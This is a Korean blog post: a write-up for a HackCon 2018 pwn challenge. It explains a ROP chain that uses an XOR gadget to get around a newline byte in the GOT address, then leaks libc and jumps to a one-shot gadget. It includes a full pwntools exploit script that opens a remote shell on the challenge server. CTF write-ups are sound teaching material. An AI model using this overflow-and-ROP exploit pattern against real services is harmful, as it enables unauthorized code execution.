[hackcon18] Simpe Yet Elegent
2018. 8. 18. 15:13
hackcon 18 에 있었던 pwn 문제중 가장 배점이 높은 문제이다.
사실상 어렵지 않은 문제였는데;
아마 함정으로 준비한 포맷스트링에 낚여서 꽤나 헤매다가 풀었다 ㅡㅡ;
딱히 FSB를 사용안하고 BOF, ROP를 통해 충분히 풀수 있는 문제였다;;
그래서 flag도 d4rk{r0p_ch41n1n6_15_5up3r_fun_0n_64_b17_5y573m}c0de
rop chaining만으로 가능한 것...
뭐.. 대부분의 사람들이 fsb로 leak을 했는데, 그 이유가 일단 got영역의 주소가 0x600a00부터인데 여기서 0a가 개행문자이기때문에 scanf에서 짤려버린다;
그래서 puts를 통해 라이브러리주소를 릭을 하고 싶어도 got주소가 안들어가니 막히는 것이다...
그런데 xor을 이용하면 충분히 해결할 수 있는 문제였다.
여기서 pop rdi; ret; 와 xor edi, ebp; ret; 두 가젯만 있으면 rdi값을 컨트롤 할 수 있다.
rdi에 0x601AE0를 넣고 rbp에 0x1000을 넣어서 두개를 xor하면 0x600AE0이 만들어진다!!
이렇게 leak하고 oneshot가젯으로 뛰어서 쉘을 띄웠다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 | #!/usr/bin/env python from pwn import * #context.log_level = 'debug' #elf = ELF("/lib/x86_64-linux-gnu/libc.so.6") #conn = process("./main") elf = ELF("./libc-2.19.so") conn = remote("139.59.30.165", 9200) main_addr = 0x400637 fflush_got = 0x600AE0 fflush_offset = elf.symbols['fflush'] oneshot = 0xea36d puts_plt = 0x400510 pop_rdi = 0x400733 xor_edi = 0x4006c3 def leak_stack(): conn.recvuntil("Give me some inputz:") payload = "%42$lx" payload += "A"*(0x40-len(payload)) payload += p64(0x1000) payload += p64(pop_rdi) payload += p64(fflush_got+0x1000) payload += p64(xor_edi) payload += p64(puts_plt) payload += p64(main_addr) conn.sendline(payload) stack_addr = conn.recvuntil("AA").strip()[:-2] stack_addr = int(stack_addr,16)-0xd0+0x28 conn.recvline() libc_addr = conn.recv(6) + "\x00"*2 print(len(libc_addr)) libc_addr = u64(libc_addr) - fflush_offset return stack_addr, libc_addr def Attack(fsb): conn.recvuntil("Give me some inputz:") payload = fsb payload += "A"*(0x40-len(payload)) payload += p64(0xdeadbeef) payload += p64(main_addr) conn.sendline(payload) def oneshot_attack(oneshot_addr): conn.recvuntil("Give me some inputz:") payload = "A"*0x40 payload += p64(0xdeadbeef) payload += p64(oneshot_addr) conn.sendline(payload) stack_addr, libc_addr = leak_stack() log.info("stack_addr : " + hex(stack_addr)) log.info("libc_addr : " + hex(libc_addr)) oneshot_addr = libc_addr+oneshot oneshot_attack(oneshot_addr) conn.interactive() | cs |
a
'Write-up > Pwnable' 카테고리의 다른 글
[PlaidCTF] ropasaurusrex (0) | 2018.08.27 |
---|---|
[Codegate] BugBug (0) | 2018.08.22 |
[WhiteHatWargame.vn] nobaby (0) | 2018.08.13 |
[WhiteHatWargame.vn] mini-game (0) | 2018.08.13 |
[WhiteHatWargame.vn] onechange (0) | 2018.08.13 |